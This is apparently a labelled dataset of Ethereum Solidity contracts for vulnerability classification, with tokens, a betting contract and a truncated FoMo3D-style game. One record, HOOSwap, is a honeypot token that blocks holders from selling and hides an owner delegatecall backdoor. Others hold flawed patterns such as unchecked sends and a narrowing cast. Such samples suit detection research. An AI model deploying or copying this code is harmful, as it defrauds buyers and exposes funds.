emit Transfer(_from, _to, _value);
return true;
}
function getContractReceiver(address _contractAdd) public view onlyOwner returns (address) {
return contractToReceiver[_contractAdd];
}
}
contract ContractiumToken is TokenOffering, WithdrawTrack, ContractSpendToken {
string public constant name = "Contractium";
string public constant symbol = "CTU";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 3000000000 * (10 ** uint256(decimals));
uint256 public unitsOneEthCanBuy = 15000;
uint256 internal totalWeiRaised;
event BuyToken(address from, uint256 weiAmount, uint256 tokenAmount);
function ContractiumToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function() public payable {
require(msg.sender != owner);
uint256 amount = msg.value.mul(unitsOneEthCanBuy);
uint256 amountBonus = msg.value.mul(bonusRateOneEth);
amount = amount.add(amountBonus);
preValidatePurchase(amount);
require(balances[owner] >= amount);
totalWeiRaised = totalWeiRaised.add(msg.value);
currentTokenOfferingRaised = currentTokenOfferingRaised.add(amount);
balances[owner] = balances[owner].sub(amount);
balances[msg.sender] = balances[msg.sender].add(amount);
emit Transfer(owner, msg.sender, amount);
emit BuyToken(msg.sender, msg.value, amount);
owner.transfer(msg.value);
}
function batchTransfer(address[] _receivers, uint256[] _amounts) public returns(bool) {
uint256 cnt = _receivers.length;
require(cnt > 0 && cnt <= 20);
require(cnt == _amounts.length);
cnt = (uint8)(cnt);
uint256 totalAmount = 0;
for (uint8 i = 0; i < cnt; i++) {
totalAmount = totalAmount.add(_amounts[i]);
}
require(totalAmount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(totalAmount);
for (i = 0; i < cnt; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_amounts[i]);
emit Transfer(msg.sender, _receivers[i], _amounts[i]);
}
return true;
}
} | 1 | 4,130 |
contract Message {
address public registrar;
address public from;
address public to;
string public hash_msg;
string public hash_ack;
uint256 public timestamp_msg;
uint256 public timestamp_ack;
function Message(address _registrar,address _from,address _to,string _hash_msg) {
registrar=_registrar;
from=_from;
to=_to;
hash_msg=_hash_msg;
timestamp_msg=now;
}
function ack(string _hash) {
if(msg.sender!=to) throw;
if(timestamp_ack>0) throw;
hash_ack=_hash;
timestamp_ack=now;
}
function() {
if(msg.value>0) {
if(msg.sender==from) {
to.send(msg.value);
} else {
from.send(msg.value);
}
}
}
}
contract Registrar
{
address public registrar;
uint256 public fee_registration;
uint256 public fee_msg;
uint256 public cnt_registrations;
struct Registration {
address adr;
string hash;
string gnid;
}
mapping(address=>Registration) public regadr;
mapping(address=>Message[]) public msgs;
mapping(address=>Message[]) public sent;
mapping(address=>bool) public preregister;
Registration[] public regs;
function Registrar() {
registrar=msg.sender;
}
function register(string hash) {
updateRegistration(hash,'');
}
function unregister() {
delete regadr[msg.sender];
}
function updateRegistration(string hash,string gnid) {
if((msg.value>=fee_registration)||(preregister[msg.sender])) {
regadr[msg.sender]=Registration(msg.sender,hash,gnid);
regs.push(regadr[msg.sender]);
if(fee_registration>0) registrar.send(this.balance);
preregister[msg.sender]=false;
cnt_registrations++;
} else throw;
}
function preRegister(address preReg) {
if(msg.sender!=registrar) throw;
preReg.send(msg.value);
preregister[preReg]=true;
}
function getMsgs() returns (Message[]) {
return msgs[msg.sender];
}
function setRegistrationPrice(uint256 price) {
if(msg.sender!=registrar) throw;
fee_registration=price;
}
function setMsgPrice(uint256 price) {
if(msg.sender!=registrar) throw;
fee_msg=price;
}
function sendMsg(address to,string hash) {
if(msg.value>=fee_msg) {
Message m = new Message(this,msg.sender,to,hash);
msgs[to].push(m);
sent[msg.sender].push(m);
if(fee_msg>0) registrar.send(this.balance);
} else throw;
}
function ackMsg(uint256 msgid,string hash) {
Message message =Message(msgs[msg.sender][msgid]);
message.ack(hash);
}
function() {
if(msg.value>0) {
registrar.send(msg.value);
}
}
} | 0 | 2,008 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract MintableToken is StandardToken, Ownable {
using SafeMath for uint256;
event Mint(address indexed to, uint256 amount);
uint constant YEAR_IN_SECONDS = 31536000;
uint constant ORIGIN_TIMESTAMP = 1514764800;
uint16 constant ORIGIN_YEAR = 2018;
uint256 originSupply_;
struct MintRecord {
uint percent;
address holder;
uint16 year;
uint256 amount;
uint timestamp;
}
mapping (uint16 => MintRecord) public mintedHistory;
function getYear(uint _timestamp) public pure returns (uint16) {
require(_timestamp > ORIGIN_TIMESTAMP);
return ORIGIN_YEAR + uint16((_timestamp - ORIGIN_TIMESTAMP) / YEAR_IN_SECONDS);
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function originSupply() public view returns (uint256) {
return originSupply_;
}
function mint() public hasMintPermission returns (bool) {
return _mint(block.timestamp);
}
function _mint(uint _timestamp) internal hasMintPermission returns (bool) {
uint16 year = getYear(_timestamp);
require(mintedHistory[year].percent == 0);
uint256 amount = totalSupply_.mul(200).div(10000);
totalSupply_ = totalSupply_.add(amount);
balances[msg.sender] = balances[msg.sender].add(amount);
mintedHistory[year] = MintRecord({
percent: 200,
amount: amount,
holder: msg.sender,
timestamp: _timestamp,
year: year
});
emit Transfer(address(0), msg.sender, amount);
emit Mint(msg.sender, amount);
return true;
}
}
contract HGSToken is PausableToken, MintableToken {
string public constant name = "Hawthorn Guardian System";
string public constant symbol = "HGS";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 2000000000 * (10 ** uint256(decimals));
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
originSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
} | 1 | 5,458 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract HOOSwap {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 503 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BallotSB52 {
using SafeMath for uint;
uint public phiWon;
uint public neWon;
Superbowl52 bettingContract;
mapping (address => bool) voted;
mapping (address => uint) votes;
uint public constant votingPeriod = 7 days;
uint public votingStart;
uint public votingEnd;
uint public validResult;
bool public closed;
uint public totalVoters;
uint public threshold;
uint public votingReward;
mapping (address => uint) stake;
uint public majorityReward;
bool public tie;
mapping (address => bool) claimed;
function BallotSB52(uint th) public payable {
validResult = 0;
closed = false;
votingStart = now;
votingEnd = now + 7 days;
bettingContract = Superbowl52(msg.sender);
totalVoters = 0;
threshold = th;
tie = false;
votingReward = 0;
}
function voteResult(uint team) public payable {
require(votingStart <= now && votingEnd >= now);
require(voted[msg.sender] == false);
require(msg.value == 50 finney);
require(!closed);
if(team == 1) {
phiWon += 1;
}
else if (team == 2) {
neWon += 1;
} else revert();
voted[msg.sender] = true;
votes[msg.sender] = team;
totalVoters += 1;
stake[msg.sender] = msg.value;
}
function closeBallot() public returns (uint) {
require(!closed);
require(now > votingEnd);
if(phiWon.mul(100000).div(totalVoters) >= threshold) {
validResult = 1;
votingReward = bettingContract.getLosersOnePercent(2);
majorityReward = (neWon * 50 finney).add(votingReward).div(phiWon);
} else if (neWon.mul(100000).div(totalVoters) >= threshold) {
validResult = 2;
votingReward = bettingContract.getLosersOnePercent(3);
majorityReward = (phiWon * 50 finney).add(votingReward).div(neWon);
} else {
if (neWon.mul(100000).div(totalVoters) > 50000) majorityReward = (phiWon * 50 finney).div(neWon);
else if (phiWon.mul(100000).div(totalVoters) > 50000) majorityReward = (neWon * 50 finney).div(phiWon);
else {
tie = true;
majorityReward = 0;
}
validResult = 0;
}
closed = true;
return validResult;
}
function getReward(address voter) public {
require(closed);
require(voted[voter]);
require(claimed[voter] == false);
if(tie) {
voter.transfer(stake[voter]);
}
if(votes[voter] == validResult) {
voter.transfer(stake[voter] + majorityReward);
}
claimed[voter] = true;
}
function hasClaimed(address voter) public constant returns (bool) {
return claimed[voter];
}
function () public payable {}
}
contract Superbowl52 {
using SafeMath for uint;
uint public constant GAME_START_TIME = 1517787000;
bool public resultConfirmed = false;
address public owner;
mapping(address => betting) public bets;
uint public totalBets;
uint public philadelphiaBets;
uint public newEnglandBets;
uint public result;
uint public betters;
bool public votingOpen;
bool public withdrawalOpen;
uint public threshold;
uint public winningPot;
mapping(address => uint) public wins;
BallotSB52 public ballot;
struct betting {
uint philadelphiaBets;
uint newEnglandBets;
bool claimed;
}
function Superbowl52() public {
require(now<GAME_START_TIME);
owner = msg.sender;
result = 0;
votingOpen = false;
withdrawalOpen = false;
threshold = 90000;
winningPot = 0;
}
function bet(uint team) public payable {
require(team == 1 || team == 2);
require(now <= GAME_START_TIME);
require(msg.value > 0);
if(!hasBet(msg.sender)) betters += 1;
if(team == 1) {
bets[msg.sender].philadelphiaBets += msg.value;
philadelphiaBets += msg.value;
} else if (team == 2) {
bets[msg.sender].newEnglandBets += msg.value;
newEnglandBets += msg.value;
}
totalBets += msg.value;
}
function () public payable {
revert();
}
function getPhiladelphiaBets(address better) public constant returns (uint) {
return bets[better].philadelphiaBets;
}
function getNewEnglandBets(address better) public constant returns (uint) {
return bets[better].newEnglandBets;
}
function hasClaimed(address better) public constant returns (bool) {
return bets[better].claimed;
}
function startVoting() public {
require(msg.sender == owner);
require(votingOpen == false);
require(withdrawalOpen == false);
require(now >= GAME_START_TIME + 8 hours);
votingOpen = true;
ballot = new BallotSB52(threshold);
}
function hasBet(address better) public constant returns (bool) {
return (bets[better].philadelphiaBets + bets[better].newEnglandBets) > 0;
}
function endVoting() public {
require(votingOpen);
result = ballot.closeBallot();
if (result == 1 || result == 2) {
withdrawalOpen = true;
votingOpen = false;
} else {
threshold = threshold - 5000;
ballot = new BallotSB52(threshold);
}
if(result == 1) winningPot = totalBets.sub(newEnglandBets.div(100));
if(result == 2) winningPot = totalBets.sub(philadelphiaBets.div(100));
}
function getLosersOnePercent(uint loser) public returns (uint) {
require(votingOpen);
require(msg.sender == address(ballot));
if(loser==1) {
ballot.transfer(philadelphiaBets.div(100));
return philadelphiaBets.div(100);
}
else if (loser==2) {
ballot.transfer(newEnglandBets.div(100));
return newEnglandBets.div(100);
}
else {
return 0;
}
}
function getWinnings(address winner, uint donation) public {
require(donation<=100);
require(withdrawalOpen);
require(bets[winner].claimed == false);
uint winnings = 0;
if (result == 1) winnings = (getPhiladelphiaBets(winner).mul(winningPot)).div(philadelphiaBets);
else if (result == 2) winnings = (getNewEnglandBets(winner).mul(winningPot)).div(newEnglandBets);
else revert();
wins[winner] = winnings;
uint donated = winnings.mul(donation).div(100);
bets[winner].claimed = true;
winner.transfer(winnings-donated);
}
} | 1 | 3,961 |
pragma solidity ^0.4.24;
contract FFFevents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is FFFevents {}
contract FFFultra is modularShort {
using SafeMath for *;
using NameFilter for string;
using FFFKeysCalcShort for uint256;
PlayerBookInterface private PlayerBook;
address private admin = msg.sender;
address private yyyy;
address private gggg;
string constant public name = "ethfomo3d";
string constant public symbol = "ethfomo3d";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 0;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 constant private preIcoMax_ = 50000000000000000000;
uint256 constant private preIcoPerEth_ = 1500000000000000000;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => FFFdatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => FFFdatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => FFFdatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => FFFdatasets.TeamFee) public fees_;
mapping (uint256 => FFFdatasets.PotSplit) public potSplit_;
constructor(PlayerBookInterface _PlayerBook, address _yyyy, address _gggg)
public
{
fees_[0] = FFFdatasets.TeamFee(60,8);
fees_[1] = FFFdatasets.TeamFee(60,8);
fees_[2] = FFFdatasets.TeamFee(60,8);
fees_[3] = FFFdatasets.TeamFee(60,8);
potSplit_[0] = FFFdatasets.PotSplit(30,10);
potSplit_[1] = FFFdatasets.PotSplit(30,10);
potSplit_[2] = FFFdatasets.PotSplit(30,10);
potSplit_[3] = FFFdatasets.PotSplit(30,10);
PlayerBook = _PlayerBook;
yyyy = _yyyy;
gggg = _gggg;
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
FFFdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
FFFdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
FFFdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
FFFdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
FFFdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
FFFdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
FFFdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
FFFdatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
